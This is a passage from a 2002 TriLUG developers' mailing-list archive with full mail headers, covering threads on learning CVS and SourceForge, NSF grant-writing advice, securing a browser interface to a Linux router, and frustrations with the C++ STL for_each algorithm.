that site. The full (print) version has other information including best practices and managing large trees and other esoteric stuff. It really is a great book and worth buying. Reminds me, I need to stop borrowing Brian's at work and get my own. =) From tbryan@python.net Thu Jan 17 08:06:12 2002 Received: from mail5.nc.rr.com ([24.93.67.52]) by fatalpha.trilug.org (8.9.3/8.9.3) with ESMTP id IAA19540 for ; Thu, 17 Jan 2002 08:06:11 -0500 Received: from there ([66.26.39.54]) by mail5.nc.rr.com with Microsoft SMTPSVC(5.5.1877.687.68); Thu, 17 Jan 2002 08:07:49 -0500 Content-Type: text/plain; charset="iso-8859-15" From: Tom Bryan To: dev@trilug.org Subject: Re: [Dev] Open Source and CVS Date: Thu, 17 Jan 2002 09:22:06 +0500 X-Mailer: KMail [version 1.3.1] References: In-Reply-To: MIME-Version: 1.0 Content-Transfer-Encoding: 8bit Message-ID: <002b44907131112FE5@mail5.nc.rr.com> Sender: dev-admin@trilug.org Errors-To: dev-admin@trilug.org X-BeenThere: dev@trilug.org X-Mailman-Version: 2.0.8 Precedence: bulk Reply-To: dev@trilug.org List-Help: List-Post: List-Subscribe: , List-Id: Discussion of scripts, programs, and development List-Unsubscribe: , List-Archive: On Thursday 17 January 2002 05:40 am, M. Mueller/bhu5nji wrote: > How do I go about learning the ways of open source development Join a project. :-) I know that www.ecoaccess.org is about to start a new round of recruitment for volunteers. It is somewhat more structured that many open source projects, so it might be a good first project if you're interested in Python, Zope, PostgreSQL, and/or Triangle-area environmental issues. > the uses of CVS and Sourceforge? For CVS, I found that http://www.red-bean.com/cvsbook/ gave a pretty good introduction. It provided some practical advice for those who are new to CVS or some of its features in addition to plenty of "how to do X." That is, it's more than a manual (like the Per Cederqvist reference, which you'll probably eventually use). For SourceForge, the best way is probably to join a SourceForge project. If you like Perl, Python, and/or C++, I'm responsible for a project that needs help. ---Tom From brent@mutt.rcfile.org Thu Jan 17 08:20:04 2002 Received: from habanero.hesketh.net (habanero.hesketh.net [66.45.6.196]) by fatalpha.trilug.org (8.9.3/8.9.3) with ESMTP id IAA19607 for ; Thu, 17 Jan 2002 08:20:04 -0500 Received: from mutt.rcfile.org (root@rdu57-26-120.nc.rr.com [66.57.26.120]) by habanero.hesketh.net (8.11.6/8.11.1) with ESMTP id g0HDMHR01388 for ; Thu, 17 Jan 2002 08:22:17 -0500 X-Received-From: brent@mutt.rcfile.org X-Delivered-To: X-Spam-Filter: check_local@habanero.hesketh.net by digitalanswers.org X-More-Information: http://spamfighter.hesketh.net Received: (from brent@localhost) by mutt.rcfile.org (8.11.6/8.11.6) id g0HDMLM40059 for dev@trilug.org; Thu, 17 Jan 2002 08:22:21 -0500 (EST) (envelope-from brent) Date: Thu, 17 Jan 2002 08:22:21 -0500 From: Brent Verner To: dev@trilug.org Subject: Re: [Dev] seeking NSF grant application advice/info Message-ID: <20020117082221.A39923@rcfile.org> References: <20020116223521.A37233@rcfile.org> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: User-Agent: Mutt/1.3.19i X-muttrc: $Id: .muttrc,v 1.9 2002/01/02 07:04:49 brent Exp $ X-uname: FreeBSD 4.5-RC #7: Wed Jan 16 03:32:22 EST 2002 brent@mutt.rcfile.org:/usr/obj/usr/src/sys/MUTT Sender: dev-admin@trilug.org Errors-To: dev-admin@trilug.org X-BeenThere: dev@trilug.org X-Mailman-Version: 2.0.8 Precedence: bulk Reply-To: dev@trilug.org List-Help: List-Post: List-Subscribe: , List-Id: Discussion of scripts, programs, and development List-Unsubscribe: , List-Archive: [2002-01-16 19:39] M. Mueller/bhu5nji said: | The university boys and girls should be able to give you advice. I worked on | project in college that was in part supported by NSF funding. One question I | have right off the bat is about the reception one would get if they were not | affiliated with a university. But that concern comes from knowing that NSF | is run by the governement which is actually a division of Microsoft. There are NSF grants that are available to only univ., but there are some available only to non-educational entities (including individuals)... Yeah, I know univ. are major consumers of the NSF funds, so I'm hoping some kind individual might help me find my way into that circle ;-) | I think it's a worthy use of my tax dollars. Good luck. I'm interested in | hearing more about this venture. Same here. What I was actually thinking, was how neat it would be to start a research group to funnel some of this gov't funding into the Open Source arena. There are no limitations that I can see on releasing grant-supported work, aside from the requirement that you must acknowledge that the product. For one, I'd like to get funding to support participation in and an open source implementation of the Liberty Alliance project. http://www.projectliberty.org/. 1) to help the Liberty Alliance gain wider acceptance by including open source apps. 2) to make sure open source apps are not out-in-the-cold ;-) I have no idea how to accomplish this goal, however :-( If I get any info that doesn't get to the list, I'll fill you in. rambling now.... b -- "Develop your talent, man, and leave the world something. Records are really gifts from people. To think that an artist would love you enough to share his music with anyone is a beautiful thing." -- Duane Allman From brent@mutt.rcfile.org Thu Jan 17 08:25:34 2002 Received: from habanero.hesketh.net (habanero.hesketh.net [66.45.6.196]) by fatalpha.trilug.org (8.9.3/8.9.3) with ESMTP id IAA19644 for ; Thu, 17 Jan 2002 08:25:34 -0500 Received: from mutt.rcfile.org (root@rdu57-26-120.nc.rr.com [66.57.26.120]) by habanero.hesketh.net (8.11.6/8.11.1) with ESMTP id g0HDRlR01482 for ; Thu, 17 Jan 2002 08:27:47 -0500 X-Received-From: brent@mutt.rcfile.org X-Delivered-To: X-Spam-Filter: check_local@habanero.hesketh.net by digitalanswers.org X-More-Information: http://spamfighter.hesketh.net Received: (from brent@localhost) by mutt.rcfile.org (8.11.6/8.11.6) id g0HDRpf40153 for dev@trilug.org; Thu, 17 Jan 2002 08:27:51 -0500 (EST) (envelope-from brent) Date: Thu, 17 Jan 2002 08:27:50 -0500 From: Brent Verner To: dev@trilug.org Subject: Re: [Dev] Open Source and CVS Message-ID: <20020117082750.A40077@rcfile.org> References: Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: User-Agent: Mutt/1.3.19i X-muttrc: $Id: .muttrc,v 1.9 2002/01/02 07:04:49 brent Exp $ X-uname: FreeBSD 4.5-RC #7: Wed Jan 16 03:32:22 EST 2002 brent@mutt.rcfile.org:/usr/obj/usr/src/sys/MUTT Sender: dev-admin@trilug.org Errors-To: dev-admin@trilug.org X-BeenThere: dev@trilug.org X-Mailman-Version: 2.0.8 Precedence: bulk Reply-To: dev@trilug.org List-Help: List-Post: List-Subscribe: , List-Id: Discussion of scripts, programs, and development List-Unsubscribe: , List-Archive: [2002-01-16 19:40] M. Mueller/bhu5nji said: | How do I go about learning the ways of open source development including the | uses of CVS and Sourceforge? cvs one-stop-goodness. http://www.cvshome.org/ If you have specific questions, I'm sure the readership of this list would have the answer pretty quickly. b -- "Develop your talent, man, and leave the world something. Records are really gifts from people. To think that an artist would love you enough to share his music with anyone is a beautiful thing." -- Duane Allman From boyle@laue.chem.ncsu.edu Thu Jan 17 09:34:47 2002 Received: from laue.chem.ncsu.edu (IDENT:root@laue.chem.ncsu.edu [152.1.38.206]) by fatalpha.trilug.org (8.9.3/8.9.3) with ESMTP id JAA20009 for ; Thu, 17 Jan 2002 09:34:47 -0500 Received: (from boyle@localhost) by laue.chem.ncsu.edu (8.11.6/8.11.6) id g0HEb5V01899 for dev@trilug.org; Thu, 17 Jan 2002 09:37:05 -0500 From: "Paul D. Boyle" Message-Id: <200201171437.g0HEb5V01899@laue.chem.ncsu.edu> Subject: Re: [Dev] seeking NSF grant application advice/info To: dev@trilug.org Date: Thu, 17 Jan 2002 09:37:04 -0500 (EST) In-Reply-To: <20020117082221.A39923@rcfile.org> from "Brent Verner" at Jan 17, 2002 08:22:21 AM X-Mailer: ELM [version 2.5 PL3] MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: dev-admin@trilug.org Errors-To: dev-admin@trilug.org X-BeenThere: dev@trilug.org X-Mailman-Version: 2.0.8 Precedence: bulk Reply-To: dev@trilug.org List-Help: List-Post: List-Subscribe: , List-Id: Discussion of scripts, programs, and development List-Unsubscribe: , List-Archive: Brent Verner wrote: > There are NSF grants that are available to only univ., but there are > some available only to non-educational entities (including > individuals)... Yeah, > I know univ. are major consumers of the NSF funds, so I'm hoping > some kind individual might help me find my way into that circle ;-) > I have written both successful and unsuccessful NSF proposals. These were for equipment/instrumentation proposals, rather than software development projects. At least in Chemistry money for software development gets severely short changed. The place to start is to go to http://www.nsf.gov and look at the programs for Computer and Information Science. For example, there is the NSF Middleware Initiative (NMI) outlined in in NSF document 02-028. Here is the link to the HTML version of the document: http://www.nsf.gov/pubs/2002/nsf02028/nsf02028.htm The deadline for this program is 1 March 2002. This is a very open program in that there are no limitations on eligibility. Other programs you may want to check out are: Trusted Computing (NSF 01-160) (next deadline is 12/2002) Embedded and Hybrid Systems (NSF 01-161) (next deadline is 12/2002) If you want to write a proposal you must adhere to the specifications spelled out in Grant Proposal Guide (GPG) NSF 02-2. You will also have to conform to any proposal specs spelled out by the individual guides for the particular program to which you are applying for money. NSF can be very anal about this, and will throw away perfectly good proposals if they don't have margins set right or you run a page or two over the limit. StarOffice 5.3 worked for me in preparing my last proposal. You should also have a very hot sounding C.V. which demonstrates you have the competence and experience to do what you set up to do. Another thing NSF likes is to show how the project can benefit other segments of society (i.e. have a "broad impact"), especially with underrepresented segments like women and racial minorities, and ably-challenged individuals (to use the politically correct term). Good Luck, Paul -- Paul D. Boyle | boyle@laue.chem.ncsu.edu Director, X-ray Structural Facility | phone: (919) 515-7362 Department of Chemistry - Box 8204 | FAX: (919) 515-5079 North Carolina State University | Raleigh, NC, 27695-8204 http://laue.chem.ncsu.edu/web/xray.welcome.html From ed@eh3.com Thu Jan 17 15:09:52 2002 Received: from eddy.mines.edu (eddy.Mines.EDU [138.67.24.111]) by fatalpha.trilug.org (8.9.3/8.9.3) with ESMTP id PAA21828 for ; Thu, 17 Jan 2002 15:09:51 -0500 Received: (from edhill@localhost) by eddy.mines.edu (8.11.6/8.11.6) id g0HKBwk02617; Thu, 17 Jan 2002 13:11:58 -0700 X-Authentication-Warning: eddy.mines.edu: edhill set sender to ed@eh3.com using -f Subject: Re: [Dev] seeking NSF grant application advice/info From: Ed Hill To: dev@trilug.org In-Reply-To: <200201171437.g0HEb5V01899@laue.chem.ncsu.edu> References: <200201171437.g0HEb5V01899@laue.chem.ncsu.edu> Content-Type: multipart/mixed; boundary="=-8MlQqzlRW9mvpBzAam9d" X-Mailer: Evolution/1.0.1 Date: 17 Jan 2002 13:11:58 -0700 Message-Id: <1011298318.1113.51.camel@eddy> Mime-Version: 1.0 Sender: dev-admin@trilug.org Errors-To: dev-admin@trilug.org X-BeenThere: dev@trilug.org X-Mailman-Version: 2.0.8 Precedence: bulk Reply-To: dev@trilug.org List-Help: List-Post: List-Subscribe: , List-Id: Discussion of scripts, programs, and development List-Unsubscribe: , List-Archive: --=-8MlQqzlRW9mvpBzAam9d Content-Type: text/plain Content-Transfer-Encoding: 7bit On Thu, 2002-01-17 at 07:37, Paul D. Boyle wrote: > > Another thing NSF likes is to show how the project can benefit other > segments of society (i.e. have a "broad impact"), especially with > underrepresented segments like women and racial minorities, and > ably-challenged individuals (to use the politically correct term). I've written or helped write a number of grants (NSF, included) and Paul's advice is excellent. The only thing I'd add is collaboration. You can obtain many of the benefits mentioned above through collaboration with someone at a Univ. Perhaps you can find someone? good luck! Ed -- Edward H. Hill III, PhD Post-Doctoral Researcher | Email: ed@eh3.com, ehill@mines.edu Division of ESE | URL: http://www.eh3.com Colorado School of Mines | Phone: 303-273-3483 Golden, CO 80401 | Fax: 303-273-3311 GnuPG Key ID: 1E76F123 | Public key: http://www.eh3.com/eh3.gpg --=-8MlQqzlRW9mvpBzAam9d Content-Type: application/pgp-signature; name=signature.asc Content-Description: This is a digitally signed message part Content-Transfer-Encoding: base64 LS0tLS1CRUdJTiBQR1AgU0lHTkFUVVJFLS0tLS0KVmVyc2lvbjogR251UEcgdjEuMC42IChHTlUv TGludXgpCkNvbW1lbnQ6IEZvciBpbmZvIHNlZSBodHRwOi8vd3d3LmdudXBnLm9yZwoKaUQ4REJR QThSeGZsa3l0eVpoNTI4U01SQXRIbUFKd01RTldHMHVPUjRwSm9aRmkxYWV3ZzRoc0N6Z0NnbkRE OQo2RDV1eC9pTkhhN0ZPcFF4YkxEWklCST0KPVRVanYKLS0tLS1FTkQgUEdQIFNJR05BVFVSRS0t LS0tCg== --=-8MlQqzlRW9mvpBzAam9d-- From ed@eh3.com Thu Jan 17 15:14:04 2002 Received: from eddy.mines.edu (eddy.Mines.EDU [138.67.24.111]) by fatalpha.trilug.org (8.9.3/8.9.3) with ESMTP id PAA21872 for ; Thu, 17 Jan 2002 15:14:04 -0500 Received: (from edhill@localhost) by eddy.mines.edu (8.11.6/8.11.6) id g0HKGIw02629; Thu, 17 Jan 2002 13:16:18 -0700 X-Authentication-Warning: eddy.mines.edu: edhill set sender to ed@eh3.com using -f Subject: Re: [Dev] seeking NSF grant application advice/info From: Ed Hill To: dev@trilug.org In-Reply-To: <200201171437.g0HEb5V01899@laue.chem.ncsu.edu> References: <200201171437.g0HEb5V01899@laue.chem.ncsu.edu> Content-Type: multipart/signed; micalg=pgp-sha1; protocol="application/pgp-signature"; boundary="=-l1GbkujXe7k1p7xserbz" Message-Id: <1011292134.1113.37.camel@eddy> Mime-Version: 1.0 X-Mailer: Evolution/1.0.1 Date: 17 Jan 2002 13:16:18 -0700 Sender: dev-admin@trilug.org Errors-To: dev-admin@trilug.org X-BeenThere: dev@trilug.org X-Mailman-Version: 2.0.8 Precedence: bulk Reply-To: dev@trilug.org List-Help: List-Post: List-Subscribe: , List-Id: Discussion of scripts, programs, and development List-Unsubscribe: , List-Archive: --=-l1GbkujXe7k1p7xserbz Content-Type: text/plain Content-Transfer-Encoding: quoted-printable On Thu, 2002-01-17 at 07:37, Paul D. Boyle wrote: >=20 > Another thing NSF likes is to show how the project can benefit other > segments of society (i.e. have a "broad impact"), especially with > underrepresented segments like women and racial minorities, and > ably-challenged individuals (to use the politically correct term). I've written (and helped write) a number of grants (one for NSF) and Paul's advice is excellent. The only thing I'd add is collaboration.=20 You can potentially obtain most of the benefits mentioned above through collaboration with someone at a Univ.=20 good luck! Ed --=20 Edward H. Hill III, PhD Post-Doctoral Researcher | Email: ed@eh3.com, ehill@mines.edu Division of ESE | URL: http://www.eh3.com Colorado School of Mines | Phone: 303-273-3483 Golden, CO 80401 | Fax: 303-273-3311 GnuPG Key ID: 1E76F123 | Public key: http://www.eh3.com/eh3.gpg --=-l1GbkujXe7k1p7xserbz Content-Type: application/pgp-signature; name=signature.asc Content-Description: This is a digitally signed message part -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.0.6 (GNU/Linux) Comment: For info see http://www.gnupg.org iD8DBQA8RxflkytyZh528SMRAtHmAJwMQNWG0uOR4pJoZFi1aewg4hsCzgCgnDD9 6D5ux/iNHa7FOpQxbLDZIBI= =TUjv -----END PGP SIGNATURE----- --=-l1GbkujXe7k1p7xserbz-- From bhu5nji@yahoo.com Thu Jan 17 16:38:09 2002 Received: from tisch.mail.mindspring.net (tisch.mail.mindspring.net [207.69.200.157]) by fatalpha.trilug.org (8.9.3/8.9.3) with ESMTP id QAA22502 for ; Thu, 17 Jan 2002 16:38:08 -0500 Received: from user-uivf368.dsl.mindspring.com ([165.247.140.200] helo=there) by tisch.mail.mindspring.net with smtp (Exim 3.33 #1) id 16RKGk-00072U-00 for dev@trilug.org; Thu, 17 Jan 2002 16:40:22 -0500 Content-Type: text/plain; charset="iso-8859-15" From: "M. Mueller/bhu5nji" To: dev@trilug.org Subject: Re: [Dev] Open Source and CVS Date: Thu, 17 Jan 2002 04:37:44 -0500 X-Mailer: KMail [version 1.3.1] References: <002b44907131112FE5@mail5.nc.rr.com> In-Reply-To: <002b44907131112FE5@mail5.nc.rr.com> MIME-Version: 1.0 Content-Transfer-Encoding: 8bit Message-Id: Sender: dev-admin@trilug.org Errors-To: dev-admin@trilug.org X-BeenThere: dev@trilug.org X-Mailman-Version: 2.0.8 Precedence: bulk Reply-To: dev@trilug.org List-Help: List-Post: List-Subscribe: , List-Id: Discussion of scripts, programs, and development List-Unsubscribe: , List-Archive: On Wednesday 16 January 2002 11:22 pm, you wrote: > For SourceForge, the best way is probably to join a SourceForge project. > If you like Perl, Python, and/or C++, I'm responsible for a project that > needs help. What's shakin? From brent@mutt.rcfile.org Sun Jan 20 20:48:18 2002 Received: from habanero.hesketh.net (habanero.hesketh.net [66.45.6.196]) by fatalpha.trilug.org (8.9.3/8.9.3) with ESMTP id UAA16277 for ; Sun, 20 Jan 2002 20:48:18 -0500 Received: from mutt.rcfile.org (root@rdu57-26-120.nc.rr.com [66.57.26.120]) by habanero.hesketh.net (8.11.6/8.11.1) with ESMTP id g0L1oQJ25537 for ; Sun, 20 Jan 2002 20:50:27 -0500 X-Received-From: brent@mutt.rcfile.org X-Delivered-To: X-Spam-Filter: check_local@habanero.hesketh.net by digitalanswers.org X-More-Information: http://spamfighter.hesketh.net Received: (from brent@localhost) by mutt.rcfile.org (8.11.6/8.11.6) id g0L1ocb13006 for dev@trilug.org; Sun, 20 Jan 2002 20:50:38 -0500 (EST) (envelope-from brent) Date: Sun, 20 Jan 2002 20:50:38 -0500 From: Brent Verner To: dev@trilug.org Subject: Re: [Dev] seeking NSF grant application advice/info Message-ID: <20020120205038.A12964@rcfile.org> References: <200201171437.g0HEb5V01899@laue.chem.ncsu.edu> <1011298318.1113.51.camel@eddy> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <1011298318.1113.51.camel@eddy> User-Agent: Mutt/1.3.19i X-muttrc: $Id: .muttrc,v 1.9 2002/01/02 07:04:49 brent Exp $ X-uname: FreeBSD 4.5-RC #8: Sat Jan 19 03:37:04 EST 2002 brent@mutt.rcfile.org:/usr/obj/usr/src/sys/MUTT Sender: dev-admin@trilug.org Errors-To: dev-admin@trilug.org X-BeenThere: dev@trilug.org X-Mailman-Version: 2.0.8 Precedence: bulk Reply-To: dev@trilug.org List-Help: List-Post: List-Subscribe: , List-Id: Discussion of scripts, programs, and development List-Unsubscribe: , List-Archive: [2002-01-17 13:11] Ed Hill said: | On Thu, 2002-01-17 at 07:37, Paul D. Boyle wrote: | > | > Another thing NSF likes is to show how the project can benefit other | > segments of society (i.e. have a "broad impact"), especially with | > underrepresented segments like women and racial minorities, and | > ably-challenged individuals (to use the politically correct term). | | I've written or helped write a number of grants (NSF, included) and | Paul's advice is excellent. The only thing I'd add is collaboration. | You can obtain many of the benefits mentioned above through | collaboration with someone at a Univ. Perhaps you can find someone? Thanks to all for your replies. I've signed up at fastlane.nsf.gov and am reading over the (insane amount of) docs between hack sessions ;-) If there is anyone out there who'd be willing to help with the inevitable questions I'll have, or if you're interested in collaborating on any projects, please contact me. Thanks. brent -- "Develop your talent, man, and leave the world something. Records are really gifts from people. To think that an artist would love you enough to share his music with anyone is a beautiful thing." -- Duane Allman From tbryan@python.net Sun Jan 20 21:40:05 2002 Received: from Mail6.nc.rr.com (fe6.southeast.rr.com [24.93.67.53]) by fatalpha.trilug.org (8.9.3/8.9.3) with ESMTP id VAA16540 for ; Sun, 20 Jan 2002 21:40:05 -0500 Received: from there ([66.26.39.65]) by Mail6.nc.rr.com with Microsoft SMTPSVC(5.5.1877.687.68); Sun, 20 Jan 2002 21:42:19 -0500 Content-Type: text/plain; charset="iso-8859-15" From: Tom Bryan To: dev@trilug.org Subject: Re: [Dev] Open Source and CVS Date: Sun, 20 Jan 2002 22:56:41 +0500 X-Mailer: KMail [version 1.3.1] References: <002b44907131112FE5@mail5.nc.rr.com> In-Reply-To: MIME-Version: 1.0 Content-Transfer-Encoding: 8bit Message-ID: <01f8d1942021512FE6@Mail6.nc.rr.com> Sender: dev-admin@trilug.org Errors-To: dev-admin@trilug.org X-BeenThere: dev@trilug.org X-Mailman-Version: 2.0.8 Precedence: bulk Reply-To: dev@trilug.org List-Help: List-Post: List-Subscribe: , List-Id: Discussion of scripts, programs, and development List-Unsubscribe: , List-Archive: On Thursday 17 January 2002 02:37 pm, M. Mueller/bhu5nji wrote: > On Wednesday 16 January 2002 11:22 pm, you wrote: > > For SourceForge, the best way is probably to join a SourceForge project. > > If you like Perl, Python, and/or C++, I'm responsible for a project that > > needs help. > > What's shakin? The project I was going to mention is PERCEPS, which I was in the process of moving to SourceForge last fall. (http://www.sf.net/projects/perceps/) I haven't been working on it since October or so, but I'd like to get back to it this year. While PERCEPS isn't Linux-specific, the other project that I mentioned (www.ecoaccess.org, http://www.sf.net/projects/ecoaccess/) is Linux-based. They're assuming a Red Hat Linux platform at the moment. To help new developers set up their machines quickly, I was banging my head against RPM for a few months last fall to package up the software that the project requires. ---Tom From boyle@laue.chem.ncsu.edu Mon Jan 21 11:49:11 2002 Received: from laue.chem.ncsu.edu (IDENT:root@laue.chem.ncsu.edu [152.1.38.206]) by fatalpha.trilug.org (8.9.3/8.9.3) with ESMTP id LAA20319 for ; Mon, 21 Jan 2002 11:49:11 -0500 Received: (from boyle@localhost) by laue.chem.ncsu.edu (8.11.6/8.11.6) id g0LGpOn04756 for dev@trilug.org; Mon, 21 Jan 2002 11:51:24 -0500 From: "Paul D. Boyle" Message-Id: <200201211651.g0LGpOn04756@laue.chem.ncsu.edu> Subject: Re: [Dev] seeking NSF grant application advice/info To: dev@trilug.org Date: Mon, 21 Jan 2002 11:51:24 -0500 (EST) In-Reply-To: <20020120205038.A12964@rcfile.org> from "Brent Verner" at Jan 20, 2002 08:50:38 PM X-Mailer: ELM [version 2.5 PL3] MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: dev-admin@trilug.org Errors-To: dev-admin@trilug.org X-BeenThere: dev@trilug.org X-Mailman-Version: 2.0.8 Precedence: bulk Reply-To: dev@trilug.org List-Help: List-Post: List-Subscribe: , List-Id: Discussion of scripts, programs, and development List-Unsubscribe: , List-Archive: Brent Verner wrote: > > [2002-01-17 13:11] Ed Hill said: > | On Thu, 2002-01-17 at 07:37, Paul D. Boyle wrote: > | > > | > Another thing NSF likes ... > | > | I've written or helped write a number of grants (NSF, included) ... > > Thanks to all for your replies. I've signed up at fastlane.nsf.gov > and am reading over the (insane amount of) docs between hack > sessions ;-) > > If there is anyone out there who'd be willing to help with the > inevitable questions I'll have, or if you're interested in > collaborating on any projects, please contact me. I can try to help you with questions. If I can't answer them, I can probably find someone at NCSU who can answer them. To which program are you applying and what are you proposing to do? Paul -- Paul D. Boyle | boyle@laue.chem.ncsu.edu Director, X-ray Structural Facility | phone: (919) 515-7362 Department of Chemistry - Box 8204 | FAX: (919) 515-5079 North Carolina State University | Raleigh, NC, 27695-8204 http://laue.chem.ncsu.edu/web/xray.welcome.html From bhu5nji@yahoo.com Wed Jan 23 02:56:33 2002 Received: from blount.mail.mindspring.net (blount.mail.mindspring.net [207.69.200.226]) by fatalpha.trilug.org (8.9.3/8.9.3) with ESMTP id CAA31528 for ; Wed, 23 Jan 2002 02:56:33 -0500 Received: from user-uivf368.dsl.mindspring.com ([165.247.140.200] helo=there) by blount.mail.mindspring.net with smtp (Exim 3.33 #1) id 16TIIw-0004PQ-00 for dev@trilug.org; Wed, 23 Jan 2002 02:58:46 -0500 Content-Type: text/plain; charset="iso-8859-15" From: "M. Mueller/bhu5nji" To: dev@trilug.org Date: Tue, 22 Jan 2002 14:55:35 -0500 X-Mailer: KMail [version 1.3.1] MIME-Version: 1.0 Content-Transfer-Encoding: 8bit Message-Id: Subject: [Dev] web app design question Sender: dev-admin@trilug.org Errors-To: dev-admin@trilug.org X-BeenThere: dev@trilug.org X-Mailman-Version: 2.0.8 Precedence: bulk Reply-To: dev@trilug.org List-Help: List-Post: List-Subscribe: , List-Id: Discussion of scripts, programs, and development List-Unsubscribe: , List-Archive: I've got a Linux based router that I want Tier 1 technicians to configure and operate (start and stop) using a browser interface. The router uses text files (.conf) to read its configuration. The start and stop functions are scripts requiring root priviledges. I'd like the browser-to-router interface to be secure. Tier 2 techs use SSH to get at the full system. Any recommendations on how to implement these requirements? TIA, Mike From bhu5nji@yahoo.com Mon Feb 11 12:58:12 2002 Received: from smtp10.atl.mindspring.net (smtp10.atl.mindspring.net [207.69.200.246]) by fatalpha.trilug.org (8.9.3/8.9.3) with ESMTP id MAA05975 for ; Mon, 11 Feb 2002 12:58:12 -0500 Received: from user-2ivf2tj.dsl.mindspring.com ([165.247.139.179] helo=there) by smtp10.atl.mindspring.net with smtp (Exim 3.33 #1) id 16aKkV-0007l1-00 for dev@trilug.org; Mon, 11 Feb 2002 13:00:19 -0500 Content-Type: text/plain; charset="iso-8859-15" From: "M. Mueller (bhu5nji)" To: dev@trilug.org Date: Mon, 11 Feb 2002 12:57:43 -0500 X-Mailer: KMail [version 1.3.1] MIME-Version: 1.0 Content-Transfer-Encoding: 8bit Message-Id: Subject: [Dev] STL for_each underwhelms me Sender: dev-admin@trilug.org Errors-To: dev-admin@trilug.org X-BeenThere: dev@trilug.org X-Mailman-Version: 2.0.8 Precedence: bulk Reply-To: dev@trilug.org List-Help: List-Post: List-Subscribe: , List-Id: Discussion of scripts, programs, and development List-Unsubscribe: , List-Archive: At first I though the for_each algorithm was going to be handy. Then I tried using it. I know very well what a "unary function" is and how they are different from "binary functions" and "unary methods". I searched the web for advice on how to get around the limitations of for_each only From bhu5nji@yahoo.com Mon Feb 11 13:14:21 2002 Received: from johnson.mail.mindspring.net (johnson.mail.mindspring.net [207.69.200.177]) by fatalpha.trilug.org (8.9.3/8.9.3) with ESMTP id NAA06104 for ; Mon, 11 Feb 2002 13:14:20 -0500 Received: from user-2ivf2tj.dsl.mindspring.com ([165.247.139.179] helo=there) by johnson.mail.mindspring.net with smtp (Exim 3.33 #1) id 16aL08-0001RA-00 for dev@trilug.org; Mon, 11 Feb 2002 13:16:28 -0500 Content-Type: text/plain; charset="iso-8859-15" From: "M. Mueller (bhu5nji)" To: dev@trilug.org Date: Mon, 11 Feb 2002 13:13:51 -0500 X-Mailer: KMail [version 1.3.1] MIME-Version: 1.0 Content-Transfer-Encoding: 8bit Message-Id: Subject: [Dev] STL for_each underwhelms me Sender: dev-admin@trilug.org Errors-To: dev-admin@trilug.org X-BeenThere: dev@trilug.org X-Mailman-Version: 2.0.8 Precedence: bulk Reply-To: dev@trilug.org List-Help: List-Post: List-Subscribe: , List-Id: Discussion of scripts, programs, and development List-Unsubscribe: , List-Archive: (darn laptop and fat fingers...) At first I though the STL "for_each" algorithm was going to be handy. Then I tried using it. I know very well what a "unary function" is and how they are different from "binary functions" and "unary methods". I searched the web for advice on how to get around the limitations of for_each only operating in unary functions. The workarounds were studies in obuscation. Or maybe I should look deeper? Am I missing the finer points? Here's how I understand things right now. Why is the following code structure in need of replacement by such a limited algorithm as for_each? The mortal way: map xmap; // load map... map::iterator i; for(i = xmap.begin(), i != xmap.end(), i++) { // do any darn thing you want to // in plain old un-elegant but readable // code } The for_each way: Either: for_each(xmap.begin(), xmap.end(), unary_function_only); Or: for_each(xmap.begin(), xmap.end(), class_with_overloaded_operators); Or: for_each(xmap.begin(), xmap.end(), magically_transformed_things_that_appear_to_be_UF); The first way is OK, but it's limited to only unary functions. I tried to use a unary method and kept getting "out of scope" errors during compile. The tranformation techniques I saw on the web were so obtuse that they probably would not have survived code reviews in places I have worked in the past. Someone, please turn on the light for me. Thanks, Mike M. From brent@mutt.rcfile.org Mon Feb 11 13:14:53 2002 Received: from habanero.hesketh.net (habanero.hesketh.net [66.45.6.196]) by fatalpha.trilug.org (8.9.3/8.9.3) with ESMTP id NAA06108 for ; Mon, 11 Feb 2002 13:14:53 -0500 Received: from mutt.rcfile.org (root@rdu57-26-120.nc.rr.com [66.57.26.120]) by habanero.hesketh.net (8.11.6/8.11.1) with ESMTP id g1BIGvJ15283 for ; Mon, 11 Feb 2002 13:16:57 -0500 X-Received-From: brent@mutt.rcfile.org X-Delivered-To: X-Spam-Filter: check_local@habanero.hesketh.net by digitalanswers.org X-More-Information: http://spamfighter.hesketh.net Received: (from brent@localhost) by mutt.rcfile.org (8.11.6/8.11.6) id g1BIH4n74790 for dev@trilug.org; Mon, 11 Feb 2002 13:17:04 -0500 (EST) (envelope-from brent) Date: Mon, 11 Feb 2002 13:17:03 -0500 From: Brent Verner To: dev@trilug.org Subject: Re: [Dev] STL for_each underwhelms me Message-ID: <20020211181703.GA74634@rcfile.org> References: Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: User-Agent: Mutt/1.3.27i X-muttrc: $Id: .muttrc,v 1.9 2002/01/02 07:04:49 brent Exp $ X-uname: FreeBSD 4.5-STABLE #17: Sat Feb 9 15:01:43 EST 2002 brent@mutt.rcfile.org:/usr/obj/usr/src/sys/MUTT Sender: dev-admin@trilug.org Errors-To: dev-admin@trilug.org X-BeenThere: dev@trilug.org X-Mailman-Version: 2.0.8 Precedence: bulk Reply-To: dev@trilug.org List-Help: List-Post: List-Subscribe: , List-Id: Discussion of scripts, programs, and development List-Unsubscribe: , List-Archive: [2002-02-11 12:57] M. Mueller (bhu5nji) said: | At first I though the for_each algorithm was going to be handy. Then I tried | using it. | | I know very well what a "unary function" is and how they are different from | "binary functions" and "unary methods". I searched the web for advice on how | to get around the limitations of for_each only What specifically do you want for_each to do for you? This page is a good synopsis of for_each which shows a stateful functor. http://www.sgi.com/tech/stl/for_each.html cheers. brent -- "Develop your talent, man, and leave the world something. Records are really gifts from people. To think that an artist would love you enough to share his music with anyone is a beautiful thing." -- Duane Allman From bhu5nji@yahoo.com Mon Feb 11 15:07:42 2002 Received: from smtp10.atl.mindspring.net (smtp10.atl.mindspring.net [207.69.200.246]) by fatalpha.trilug.org (8.9.3/8.9.3) with ESMTP id PAA06758 for ; Mon, 11 Feb 2002 15:07:42 -0500 Received: from user-2ivf2tj.dsl.mindspring.com ([165.247.139.179] helo=there) by 